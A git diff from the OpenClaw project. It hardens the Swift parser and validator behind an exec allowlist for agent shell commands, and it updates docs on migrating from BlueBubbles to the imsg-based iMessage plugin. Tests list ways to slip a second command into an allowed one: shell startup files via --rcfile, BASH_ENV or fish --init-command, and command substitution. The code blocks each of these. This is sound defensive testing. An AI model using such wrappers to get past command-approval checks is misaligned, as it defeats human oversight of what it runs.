preferredRaw) + if self.startupWrapperRequiresFullArgv( + command: command, + spec: spec, + base0: base0, + includeLegacyLoginInlineForm: includeLegacyLoginInlineForm) + { + return .blockedWrapper + } guard let payload = self.extractPayload(command: command, spec: spec) else { return .notWrapper } - let normalized = preferredRaw ?? payload + let normalized = failClosedOnStartupWrappers ? payload : preferredRaw ?? payload return ParsedShellWrapper(isWrapper: true, command: normalized) } + private static func startupWrapperRequiresFullArgv( + command: [String], + spec: WrapperSpec, + base0: String, + includeLegacyLoginInlineForm: Bool) -> Bool + { + guard spec.kind == .posix else { + return false + } + if base0 == "fish", + ExecInlineCommandParser.hasFishInitCommandOption(command) + { + return true + } + if self.loginStartupShellNames.contains(base0), + ExecInlineCommandParser.hasPosixLoginStartupBeforeInlineCommand( + command, + flags: self.posixInlineFlags) + { + return includeLegacyLoginInlineForm || !self.isLegacyShLoginInlineForm(command, base0: base0) + } + return ExecInlineCommandParser.hasPosixInteractiveStartupBeforeInlineCommand( + command, + flags: self.posixInlineFlags) + } + + private static func isLegacyLoginInlineForm(_ command: [String]) -> Bool { + guard command.count > 1 else { + return false + } + return command[1].trimmingCharacters(in: .whitespacesAndNewlines) == "-lc" + } + + private static func isLegacyShLoginInlineForm(_ command: [String], base0: String) -> Bool { + base0 == "sh" && self.isLegacyLoginInlineForm(command) + } + + private static func legacyLoginInlinePayloadMatchesRaw( + command: [String], + spec: WrapperSpec, + base0: String, + preferredRaw: String?) -> Bool + { + guard let preferredRaw, + base0 == "sh", + self.isLegacyLoginInlineForm(command), + let payload = self.extractPayload(command: command, spec: spec) + else { + return false + } + return payload == preferredRaw.trimmingCharacters(in: .whitespacesAndNewlines) + } + private static func extractPayload(command: [String], spec: WrapperSpec) -> String? { switch spec.kind { case .posix: @@ -72,12 +170,10 @@ enum ExecShellWrapperParser { } private static func extractPosixInlineCommand(_ command: [String]) -> String? { - let flag = command.count > 1 ? command[1].trimmingCharacters(in: .whitespacesAndNewlines) : "" - guard self.posixInlineFlags.contains(flag.lowercased()) else { - return nil - } - let payload = command.count > 2 ? command[2].trimmingCharacters(in: .whitespacesAndNewlines) : "" - return payload.isEmpty ? nil : payload + ExecInlineCommandParser.extractInlineCommand( + command, + flags: self.posixInlineFlags, + allowCombinedC: true) } private static func extractCmdInlineCommand(_ command: [String]) -> String? { @@ -97,10 +193,10 @@ enum ExecShellWrapperParser { if token.isEmpty { continue } if token == "--" { break } if self.powershellInlineFlags.contains(token) { - let payload = idx + 1 < command.count - ? command[idx + 1].trimmingCharacters(in: .whitespacesAndNewlines) - : "" - return payload.isEmpty ? nil : payload + return ExecInlineCommandParser.extractInlineCommand( + command, + flags: self.powershellInlineFlags, + allowCombinedC: false) } } return nil diff --git a/apps/macos/Sources/OpenClaw/ExecSystemRunCommandValidator.swift b/apps/macos/Sources/OpenClaw/ExecSystemRunCommandValidator.swift index f10880d698e..177a6bed515 100644 --- a/apps/macos/Sources/OpenClaw/ExecSystemRunCommandValidator.swift +++ b/apps/macos/Sources/OpenClaw/ExecSystemRunCommandValidator.swift @@ -326,40 +326,12 @@ enum ExecSystemRunCommandValidator { return current } - private struct InlineCommandTokenMatch { - var tokenIndex: Int - var inlineCommand: String? - } - private static func findInlineCommandTokenMatch( _ argv: [String], flags: Set, - allowCombinedC: Bool) -> InlineCommandTokenMatch? + allowCombinedC: Bool) -> ExecInlineCommandParser.Match? { - var idx = 1 - while idx < argv.count { - let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) - if token.isEmpty { - idx += 1 - continue - } - let lower = token.lowercased() - if lower == "--" { - break - } - if flags.contains(lower) { - return InlineCommandTokenMatch(tokenIndex: idx, inlineCommand: nil) - } - if allowCombinedC, let inlineOffset = self.combinedCommandInlineOffset(token) { - let inline = String(token.dropFirst(inlineOffset)) - .trimmingCharacters(in: .whitespacesAndNewlines) - return InlineCommandTokenMatch( - tokenIndex: idx, - inlineCommand: inline.isEmpty ? nil : inline) - } - idx += 1 - } - return nil + ExecInlineCommandParser.findMatch(argv, flags: flags, allowCombinedC: allowCombinedC) } private static func resolveInlineCommandTokenIndex( @@ -373,24 +345,10 @@ enum ExecSystemRunCommandValidator { if match.inlineCommand != nil { return match.tokenIndex } - let nextIndex = match.tokenIndex + 1 + let nextIndex = match.tokenIndex + match.valueTokenOffset return nextIndex < argv.count ? nextIndex : nil } - private static func combinedCommandInlineOffset(_ token: String) -> Int? { - let chars = Array(token.lowercased()) - guard chars.count >= 2, chars[0] == "-", chars[1] != "-" else { - return nil - } - if chars.dropFirst().contains("-") { - return nil - } - guard let commandIndex = chars.firstIndex(of: "c"), commandIndex > 0 else { - return nil - } - return commandIndex + 1 - } - private static func extractShellInlinePayload( _ argv: [String], normalizedWrapper: String) -> String? @@ -421,7 +379,7 @@ enum ExecSystemRunCommandValidator { if let inlineCommand = match.inlineCommand { return inlineCommand } - let nextIndex = match.tokenIndex + 1 + let nextIndex = match.tokenIndex + match.valueTokenOffset return self.trimmedNonEmpty(nextIndex < argv.count ? argv[nextIndex] : nil) } diff --git a/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift b/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift index b2742234590..2fbfddda1d9 100644 --- a/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift +++ b/apps/macos/Tests/OpenClawIPCTests/ExecAllowlistTests.swift @@ -111,7 +111,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist splits shell chains`() { - let command = ["/bin/sh", "-lc", "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test"] + let command = ["/bin/sh", "-c", "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test"] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test", @@ -122,9 +122,109 @@ struct ExecAllowlistTests { #expect(resolutions[1].executableName == "touch") } + @Test func `resolve for allowlist splits posix combined c flag payloads`() { + for command in [ + ["/bin/bash", "-xc", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-ec", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-euxc", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-cx", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-O", "extglob", "-xc", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-co", "vi", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-oc", "vi", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-cO", "extglob", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-xo", "vi", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-xO", "extglob", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "+xo", "vi", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--rcfile", "/tmp/rc", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--init-file=/tmp/rc", "-c", "/usr/bin/printf safe_marker"], + ] { + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.count == 1) + #expect(resolutions[0].resolvedPath == "/usr/bin/printf") + #expect(resolutions[0].executableName == "printf") + } + } + + @Test func `resolve for allowlist treats c after posix shell operand as direct exec`() { + for command in [ + ["/bin/bash", "./script.sh", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-x", "-C", "echo ok", "-c", "/usr/bin/printf safe_marker"], + ] { + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: "/tmp", + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.count == 1) + #expect(resolutions[0].resolvedPath == "/bin/bash") + #expect(resolutions[0].executableName == "bash") + } + } + + @Test func `resolve for allowlist fails closed for interactive posix shell wrappers`() { + for command in [ + ["/bin/bash", "-i", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-ic", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--rcfile", "/tmp/payload.sh", "-i", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "--interactive", "-c", "/usr/bin/printf safe_marker"], + ] { + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.isEmpty) + } + } + + @Test func `resolve for allowlist fails closed for login shell wrappers`() { + for command in [ + ["/bin/bash", "-l", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--login", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "-xlc", "/usr/bin/printf safe_marker"], + ["/bin/dash", "-lc", "/usr/bin/printf safe_marker"], + ["ash", "-lc", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "-l", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "--login", "-c", "/usr/bin/printf safe_marker"], + ["/bin/sh", "-lc", "/usr/bin/printf safe_marker"], + ["/bin/sh", "-x", "-lc", "/usr/bin/printf safe_marker"], + ["/usr/bin/env", "/bin/sh", "-lc", "/usr/bin/printf safe_marker"], + ] { + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.isEmpty) + } + } + + @Test func `resolve for allowlist fails closed for fish init command wrappers`() { + for command in [ + ["/usr/bin/fish", "--init-command=/tmp/payload.fish", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "--init-command", "/tmp/payload.fish", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "-C", "/tmp/payload.fish", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "-C/tmp/payload.fish", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "--init-command", "-c; /tmp/payload.fish", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "-C", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "-c/tmp/payload.fish", "/usr/bin/printf safe_marker"], + ] { + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.isEmpty) + } + } + @Test func `resolve for allowlist uses wrapper argv payload even with canonical raw command`() { - let command = ["/bin/sh", "-lc", "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test"] - let canonicalRaw = "/bin/sh -lc \"echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test\"" + let command = ["/bin/sh", "-c", "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test"] + let canonicalRaw = "/bin/sh -c \"echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test\"" let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: canonicalRaw, @@ -135,6 +235,25 @@ struct ExecAllowlistTests { #expect(resolutions[1].executableName == "touch") } + @Test func `resolve for allowlist preserves generated sh lc raw payload binding`() { + let command = ["/bin/sh", "-lc", "/usr/bin/printf safe_marker"] + let resolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: "/usr/bin/printf safe_marker", + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(resolutions.count == 1) + #expect(resolutions[0].resolvedPath == "/usr/bin/printf") + #expect(resolutions[0].executableName == "printf") + + let rawlessResolutions = ExecCommandResolution.resolveForAllowlist( + command: command, + rawCommand: nil, + cwd: nil, + env: ["PATH": "/usr/bin:/bin"]) + #expect(rawlessResolutions.isEmpty) + } + @Test func `resolve for allowlist fails closed for env modified shell wrappers`() { let command = ["/usr/bin/env", "BASH_ENV=/tmp/payload.sh", "bash", "-lc", "echo allowlisted"] let canonicalRaw = "/usr/bin/env BASH_ENV=/tmp/payload.sh bash -lc \"echo allowlisted\"" @@ -158,7 +277,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist keeps quoted operators in single segment`() { - let command = ["/bin/sh", "-lc", "echo \"a && b\""] + let command = ["/bin/sh", "-c", "echo \"a && b\""] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo \"a && b\"", @@ -169,7 +288,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist fails closed on command substitution`() { - let command = ["/bin/sh", "-lc", "echo $(/usr/bin/touch /tmp/openclaw-allowlist-test-subst)"] + let command = ["/bin/sh", "-c", "echo $(/usr/bin/touch /tmp/openclaw-allowlist-test-subst)"] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo $(/usr/bin/touch /tmp/openclaw-allowlist-test-subst)", @@ -179,7 +298,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist fails closed on quoted command substitution`() { - let command = ["/bin/sh", "-lc", "echo \"ok $(/usr/bin/touch /tmp/openclaw-allowlist-test-quoted-subst)\""] + let command = ["/bin/sh", "-c", "echo \"ok $(/usr/bin/touch /tmp/openclaw-allowlist-test-quoted-subst)\""] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo \"ok $(/usr/bin/touch /tmp/openclaw-allowlist-test-quoted-subst)\"", @@ -189,7 +308,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist fails closed on line-continued command substitution`() { - let command = ["/bin/sh", "-lc", "echo $\\\n(/usr/bin/touch /tmp/openclaw-allowlist-test-line-cont-subst)"] + let command = ["/bin/sh", "-c", "echo $\\\n(/usr/bin/touch /tmp/openclaw-allowlist-test-line-cont-subst)"] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo $\\\n(/usr/bin/touch /tmp/openclaw-allowlist-test-line-cont-subst)", @@ -201,7 +320,7 @@ struct ExecAllowlistTests { @Test func `resolve for allowlist fails closed on chained line-continued command substitution`() { let command = [ "/bin/sh", - "-lc", + "-c", "echo ok && $\\\n(/usr/bin/touch /tmp/openclaw-allowlist-test-chained-line-cont-subst)", ] let resolutions = ExecCommandResolution.resolveForAllowlist( @@ -213,7 +332,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist fails closed on quoted backticks`() { - let command = ["/bin/sh", "-lc", "echo \"ok `/usr/bin/id`\""] + let command = ["/bin/sh", "-c", "echo \"ok `/usr/bin/id`\""] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "echo \"ok `/usr/bin/id`\"", @@ -226,7 +345,7 @@ struct ExecAllowlistTests { let fixtures = try Self.loadShellParserParityCases() for fixture in fixtures { let resolutions = ExecCommandResolution.resolveForAllowlist( - command: ["/bin/sh", "-lc", fixture.command], + command: ["/bin/sh", "-c", fixture.command], rawCommand: fixture.command, cwd: nil, env: ["PATH": "/usr/bin:/bin"]) @@ -276,7 +395,7 @@ struct ExecAllowlistTests { let command = [ "/usr/bin/env", "/bin/sh", - "-lc", + "-c", "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test", ] let resolutions = ExecCommandResolution.resolveForAllowlist( @@ -290,7 +409,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist unwraps env dispatch wrappers inside shell segments`() { - let command = ["/bin/sh", "-lc", "env /usr/bin/touch /tmp/openclaw-allowlist-test"] + let command = ["/bin/sh", "-c", "env /usr/bin/touch /tmp/openclaw-allowlist-test"] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "env /usr/bin/touch /tmp/openclaw-allowlist-test", @@ -302,7 +421,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist preserves env assignments inside shell segments`() { - let command = ["/bin/sh", "-lc", "env FOO=bar /usr/bin/touch /tmp/openclaw-allowlist-test"] + let command = ["/bin/sh", "-c", "env FOO=bar /usr/bin/touch /tmp/openclaw-allowlist-test"] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "env FOO=bar /usr/bin/touch /tmp/openclaw-allowlist-test", @@ -326,8 +445,8 @@ struct ExecAllowlistTests { } @Test func `approval evaluator resolves shell payload from canonical wrapper text`() async { - let command = ["/bin/sh", "-lc", "/usr/bin/printf ok"] - let rawCommand = "/bin/sh -lc \"/usr/bin/printf ok\"" + let command = ["/bin/sh", "-c", "/usr/bin/printf ok"] + let rawCommand = "/bin/sh -c \"/usr/bin/printf ok\"" let evaluation = await ExecApprovalEvaluator.evaluate( command: command, rawCommand: rawCommand, @@ -350,6 +469,32 @@ struct ExecAllowlistTests { #expect(patterns == ["/usr/bin/printf"]) } + @Test func `allow always patterns fail closed for env modified shell wrappers`() { + let patterns = ExecCommandResolution.resolveAllowAlwaysPatterns( + command: [ + "/usr/bin/env", + "BASH_ENV=/tmp/payload.sh", + "/bin/sh", + "-lc", + "/usr/bin/printf ok", + ], + cwd: nil, + env: ["PATH": "/usr/bin:/bin"], + rawCommand: "/usr/bin/printf ok") + + #expect(patterns.isEmpty) + } + + @Test func `allow always patterns preserve generated sh lc raw payload binding`() { + let patterns = ExecCommandResolution.resolveAllowAlwaysPatterns( + command: ["/bin/sh", "-lc", "/usr/bin/printf safe_marker"], + cwd: nil, + env: ["PATH": "/usr/bin:/bin"], + rawCommand: "/usr/bin/printf safe_marker") + + #expect(patterns == ["/usr/bin/printf"]) + } + @Test func `match all requires every segment to match`() { let first = ExecCommandResolution( rawExecutable: "echo", diff --git a/apps/macos/Tests/OpenClawIPCTests/ExecSystemRunCommandValidatorTests.swift b/apps/macos/Tests/OpenClawIPCTests/ExecSystemRunCommandValidatorTests.swift index 351eea52df5..b5cf277f579 100644 --- a/apps/macos/Tests/OpenClawIPCTests/ExecSystemRunCommandValidatorTests.swift +++ b/apps/macos/Tests/OpenClawIPCTests/ExecSystemRunCommandValidatorTests.swift @@ -85,6 +85,48 @@ struct ExecSystemRunCommandValidatorTests { } } + @Test func `fish attached c command requires canonical raw command binding`() { + let command = ["/usr/bin/fish", "-c/tmp/payload.fish", "/usr/bin/printf safe_marker"] + let result = ExecSystemRunCommandValidator.resolve( + command: command, + rawCommand: "/usr/bin/printf safe_marker") + + switch result { + case .ok: + Issue.record("expected rawCommand mismatch for attached fish command payload") + case let .invalid(message): + #expect(message.contains("rawCommand does not match command")) + } + } + + @Test func `startup shell wrappers require canonical raw command binding`() { + for command in [ + ["/bin/bash", "-lc", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--rcfile", "/tmp/payload.sh", "-i", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--login", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "--init-command=/tmp/payload.fish", "-c", "/usr/bin/printf safe_marker"], + ] { + let legacy = ExecSystemRunCommandValidator.resolve( + command: command, + rawCommand: "/usr/bin/printf safe_marker") + switch legacy { + case .ok: + Issue.record("expected rawCommand mismatch for startup shell wrapper") + case let .invalid(message): + #expect(message.contains("rawCommand does not match command")) + } + + let canonicalRaw = ExecCommandFormatter.displayString(for: command) + let canonical = ExecSystemRunCommandValidator.resolve(command: command, rawCommand: canonicalRaw) + switch canonical { + case let .ok(resolved): + #expect(resolved.displayCommand == canonicalRaw) + case let .invalid(message): + Issue.record("unexpected invalid result for canonical raw command: \(message)") + } + } + } + private static func loadContractCases() throws -> [SystemRunCommandContractCase] { let fixtureURL = try self.findContractFixtureURL() let data = try Data(contentsOf: fixtureURL) diff --git a/apps/shared/OpenClawKit/Sources/OpenClawProtocol/GatewayModels.swift b/apps/shared/OpenClawKit/Sources/OpenClawProtocol/GatewayModels.swift index 372a6bb752e..bb955c71cc1 100644 --- a/apps/shared/OpenClawKit/Sources/OpenClawProtocol/GatewayModels.swift +++ b/apps/shared/OpenClawKit/Sources/OpenClawProtocol/GatewayModels.swift @@ -5144,6 +5144,7 @@ public struct ExecApprovalRequestParams: Codable, Sendable { public let security: AnyCodable? public let ask: AnyCodable? public let warningtext: AnyCodable? + public let commandspans: [[String: AnyCodable]]? public let agentid: AnyCodable? public let resolvedpath: AnyCodable? public let sessionkey: AnyCodable? @@ -5166,6 +5167,7 @@ public struct ExecApprovalRequestParams: Codable, Sendable { security: AnyCodable?, ask: AnyCodable?, warningtext: AnyCodable?, + commandspans: [[String: AnyCodable]]?, agentid: AnyCodable?, resolvedpath: AnyCodable?, sessionkey: AnyCodable?, @@ -5187,6 +5189,7 @@ public struct ExecApprovalRequestParams: Codable, Sendable { self.security = security self.ask = ask self.warningtext = warningtext + self.commandspans = commandspans self.agentid = agentid self.resolvedpath = resolvedpath self.sessionkey = sessionkey @@ -5210,6 +5213,7 @@ public struct ExecApprovalRequestParams: Codable, Sendable { case security case ask case warningtext = "warningText" + case commandspans = "commandSpans" case agentid = "agentId" case resolvedpath = "resolvedPath" case sessionkey = "sessionKey" diff --git a/docs/.generated/config-baseline.sha256 b/docs/.generated/config-baseline.sha256 index 5f7a7019a69..136ddc8b2fb 100644 --- a/docs/.generated/config-baseline.sha256 +++ b/docs/.generated/config-baseline.sha256 @@ -1,4 +1,4 @@ -885a734aa93cf04f6c14f8d83c1e96a66a5b96705327ea2de7b2aa7314238976 config-baseline.json -074eb9a1480ff40836d98090ccb9be3465345ac4b46e0d273b7995504bbb8008 config-baseline.core.json +98f80c92fc4fcb37d41470216ae6cd19b094d7f67b0ddc4983eba04aba314fe0 config-baseline.json +d9c4b2035178d3ffe637b751036f12082d4f26761681bb8496b86550565307e8 config-baseline.core.json ed15b24c1ccf0234e6b3435149a6f1c1e709579d1259f1d09402688799b149bd config-baseline.channel.json -c4e8d8898eebc4d40f35b167c987870e426e6c82121696dc055ff929f6a24046 config-baseline.plugin.json +7a9ed89a6ff7e578bfcab7828ab660af59e62402a85bfbfc05d5ae3d975e9728 config-baseline.plugin.json diff --git a/docs/.generated/plugin-sdk-api-baseline.sha256 b/docs/.generated/plugin-sdk-api-baseline.sha256 index d8b9d1b4740..1d0d9f8899e 100644 --- a/docs/.generated/plugin-sdk-api-baseline.sha256 +++ b/docs/.generated/plugin-sdk-api-baseline.sha256 @@ -1,2 +1,2 @@ -fecac0023b0a8de6334740483ef03500c72f3235e5b636e089bf581b00e8734a plugin-sdk-api-baseline.json -b427b2c8bddefb6c0ab4f411065adeec230d1e126a792ed30e6d0a45053dd4e3 plugin-sdk-api-baseline.jsonl +9f7ea91407a66fee6bcdebaf64bd15d0a6ae8b48cf100753c96f2ad29ad86390 plugin-sdk-api-baseline.json +4d516f6ac681cf55e916f712601abb8f5a7ddcd92a7710e8947f89c38e4054e7 plugin-sdk-api-baseline.jsonl diff --git a/docs/AGENTS.md b/docs/AGENTS.md index 43027196714..fa5ceca3f90 100644 --- a/docs/AGENTS.md +++ b/docs/AGENTS.md @@ -16,6 +16,14 @@ This directory owns docs authoring, Mintlify link rules, and docs i18n policy. - For docs, UI copy, and picker lists, order services/providers alphabetically unless the section is explicitly describing runtime order or auto-detection order. - Keep bundled plugin naming consistent with the repo-wide plugin terminology rules in the root `AGENTS.md`. +## Internal Docs + +- Long-lived private operator docs belong in `~/Projects/manager/docs/`. +- Repo-local internal scratch/mirror docs may live under ignored `docs/internal/`. +- Never add `docs/internal/**` pages to `docs/docs.json` navigation or link them from public docs. +- `scripts/docs-sync-publish.mjs` excludes and prunes `docs/internal/**` from the public `openclaw/docs` publish repo if a page is force-added later. +- Internal docs may mention repo paths, private app names, 1Password item names, and runbooks, but never include secret values. + ## Docs i18n - Foreign-language docs are not maintained in this repo. The generated publish output lives in the separate `openclaw/docs` repo (often cloned locally as `../openclaw-docs`). diff --git a/docs/channels/imessage-from-bluebubbles.md b/docs/channels/imessage-from-bluebubbles.md index 8e9da9f8929..de5d8005bca 100644 --- a/docs/channels/imessage-from-bluebubbles.md +++ b/docs/channels/imessage-from-bluebubbles.md @@ -1,15 +1,15 @@ --- -summary: "Switch from the BlueBubbles plugin to the bundled iMessage plugin without losing pairing, allowlists, or group bindings." +summary: "Migrate old BlueBubbles configs to the bundled iMessage plugin without losing pairing, allowlists, or group bindings." read_when: - Planning a move from BlueBubbles to the bundled iMessage plugin - Translating BlueBubbles config keys to iMessage equivalents - - Rolling back a partial iMessage cutover + - Verifying imsg before enabling the iMessage plugin title: "Coming from BlueBubbles" --- The bundled `imessage` plugin now reaches the same private API surface as BlueBubbles (`react`, `edit`, `unsend`, `reply`, `sendWithEffect`, group management, attachments) by driving [`steipete/imsg`](https://github.com/steipete/imsg) over JSON-RPC. If you already run a Mac with `imsg` installed, you can drop the BlueBubbles server and let the plugin talk to Messages.app directly. -This guide is opt-in. BlueBubbles still works and remains the right choice if you cannot run `imsg` on the host where the Mac signs into iMessage (for example, if the Mac is unreachable from the gateway). +BlueBubbles support was removed. OpenClaw supports iMessage through `imsg` only. This guide is for migrating old `channels.bluebubbles` configs to `channels.imessage`; there is no other supported migration path. ## When this migration makes sense @@ -17,11 +17,15 @@ This guide is opt-in. BlueBubbles still works and remains the right choice if yo - You want one fewer moving part — no separate BlueBubbles server, no REST endpoint to authenticate, no webhook plumbing. Single CLI binary instead of a server + client app + helper. - You are on a [supported macOS / `imsg` build](/channels/imessage#requirements-and-permissions-macos) where the private API probe reports `available: true`. -## When to stay on BlueBubbles +## What imsg does -- The Mac with Messages.app is on a network the gateway cannot reach via SSH. -- You depend on BlueBubbles features the bundled plugin does not yet cover (rich text formatting attributes beyond bold/italic/underline/strikethrough, BlueBubbles-specific webhook integrations). -- Your current setup hard-codes BlueBubbles webhook URLs into other systems that you cannot rewire. +`imsg` is a local macOS CLI for Messages. OpenClaw starts `imsg rpc` as a child process and talks JSON-RPC over stdin/stdout. There is no HTTP server, webhook URL, background daemon, launch agent, or port to expose. + +- Reads come from `~/Library/Messages/chat.db` using a read-only SQLite handle. +- Live inbound messages come from `imsg watch` / `watch.subscribe`, which follows `chat.db` filesystem events with a polling fallback. +- Sends use Messages.app automation for normal text and file sends. +- Advanced actions use `imsg launch` to inject the `imsg` helper into Messages.app. That is what unlocks read receipts, typing indicators, rich sends, edit, unsend, threaded reply, tapbacks, and group management. +- Linux builds can inspect a copied `chat.db`, but cannot send, watch the live Mac database, or drive Messages.app. For OpenClaw iMessage, run `imsg` on the signed-in Mac or through an SSH wrapper to that Mac. ## Before you start @@ -29,11 +33,34 @@ This guide is opt-in. BlueBubbles still works and remains the right choice if yo ```bash brew install steipete/tap/imsg - imsg launch + imsg --version + imsg chats --limit 3 + ``` + + If `imsg chats` fails with `unable to open database file`, empty output, or `authorization denied`, grant Full Disk Access to the terminal, editor, Node process, Gateway service, or SSH parent process that launches `imsg`, then reopen that parent process. + +2. Verify the read, watch, send, and RPC surfaces before changing OpenClaw config: + + ```bash + imsg chats --limit 10 --json | jq -s + imsg history --chat-id 42 --limit 10 --attachments --json | jq -s + imsg watch --chat-id 42 --reactions --json + imsg send --chat-id 42 --text "OpenClaw imsg test" imsg rpc --help ``` -2. Verify the private API bridge: + Replace `42` with a real chat id from `imsg chats`. Sending requires Automation permission for Messages.app. If OpenClaw will run through SSH, run these commands through the same SSH wrapper or user context that OpenClaw will use. + +3. Enable the private API bridge when you need advanced actions: + + ```bash + imsg launch + imsg status --json + ``` + + `imsg launch` requires SIP to be disabled. Basic send, history, and watch work without `imsg launch`; advanced actions do not. + +4. Verify the bridge through OpenClaw: ```bash openclaw channels status --probe @@ -41,7 +68,7 @@ This guide is opt-in. BlueBubbles still works and remains the right choice if yo You want `imessage.privateApi.available: true`. If it reports `false`, fix that first — see [Capability detection](/channels/imessage#private-api-actions). -3. Snapshot your config so you can roll back: +5. Snapshot your config: ```bash cp ~/.openclaw/openclaw.json5 ~/.openclaw/openclaw.json5.bak @@ -116,7 +143,7 @@ If the gateway logs `imessage: dropping group message from chat_id=` or the ## Step-by-step -1. Add an iMessage block alongside the existing BlueBubbles block. Do not delete BlueBubbles yet: +1. Add an iMessage block alongside the existing BlueBubbles block. Keep the old block only as a copy source until the new path is verified: ```json5 { @@ -146,7 +173,7 @@ If the gateway logs `imessage: dropping group message from chat_id=` or the } ``` -2. **Dry-run probe** — start the gateway and confirm both channels report healthy: +2. **Dry-run probe** — start the gateway and confirm iMessage reports healthy: ```bash openclaw gateway @@ -156,12 +183,11 @@ If the gateway logs `imessage: dropping group message from chat_id=` or the Because `imessage.enabled` is still `false`, no inbound iMessage traffic is routed yet — but `--probe` exercises the bridge so you catch permission/install issues before the cutover. -3. **Cut over.** Disable BlueBubbles and enable iMessage in one config edit: +3. **Cut over.** Remove the BlueBubbles config and enable iMessage in one config edit: ```json5 { channels: { - bluebubbles: { enabled: false }, // keep the rest of the block for rollback imessage: { enabled: true /* ... */ }, }, } @@ -175,11 +201,11 @@ If the gateway logs `imessage: dropping group message from chat_id=` or the 6. **Verify the action surface** — from a paired DM, ask the agent to react, edit, unsend, reply, send a photo, and (in a group) rename the group / add or remove a participant. Each action should land natively in Messages.app. If any throws "iMessage `` requires the imsg private API bridge", run `imsg launch` again and refresh `channels status --probe`. -7. **Stop the BlueBubbles server** once you have run on iMessage for at least a few hours of normal traffic. Remove the BlueBubbles block from config and restart the gateway. +7. **Remove the BlueBubbles server and config** once iMessage DMs, groups, and actions are verified. OpenClaw will not use `channels.bluebubbles`. ## Action parity at a glance -| Action | BlueBubbles | bundled iMessage | +| Action | legacy BlueBubbles | bundled iMessage | | ---------------------------------------------------------- | ----------------------------------- | ------------------------------------------------------------------------------------ | | Send text / SMS fallback | ✅ | ✅ | | Send media (photo, video, file, voice) | ✅ | ✅ | @@ -194,7 +220,7 @@ If the gateway logs `imessage: dropping group message from chat_id=` or the | Same-sender DM coalescing | ✅ | ✅ (DM-only; opt-in via `channels.imessage.coalesceSameSenderDms`) | | Catchup of inbound messages received while gateway is down | ✅ (webhook replay + history fetch) | _(not yet — tracked at [#78649](https://github.com/openclaw/openclaw/issues/78649))_ | -The catchup gap is the most operationally significant one for production deployments: planned restarts, mac sleep, or an unexpected gateway crash that takes more than a 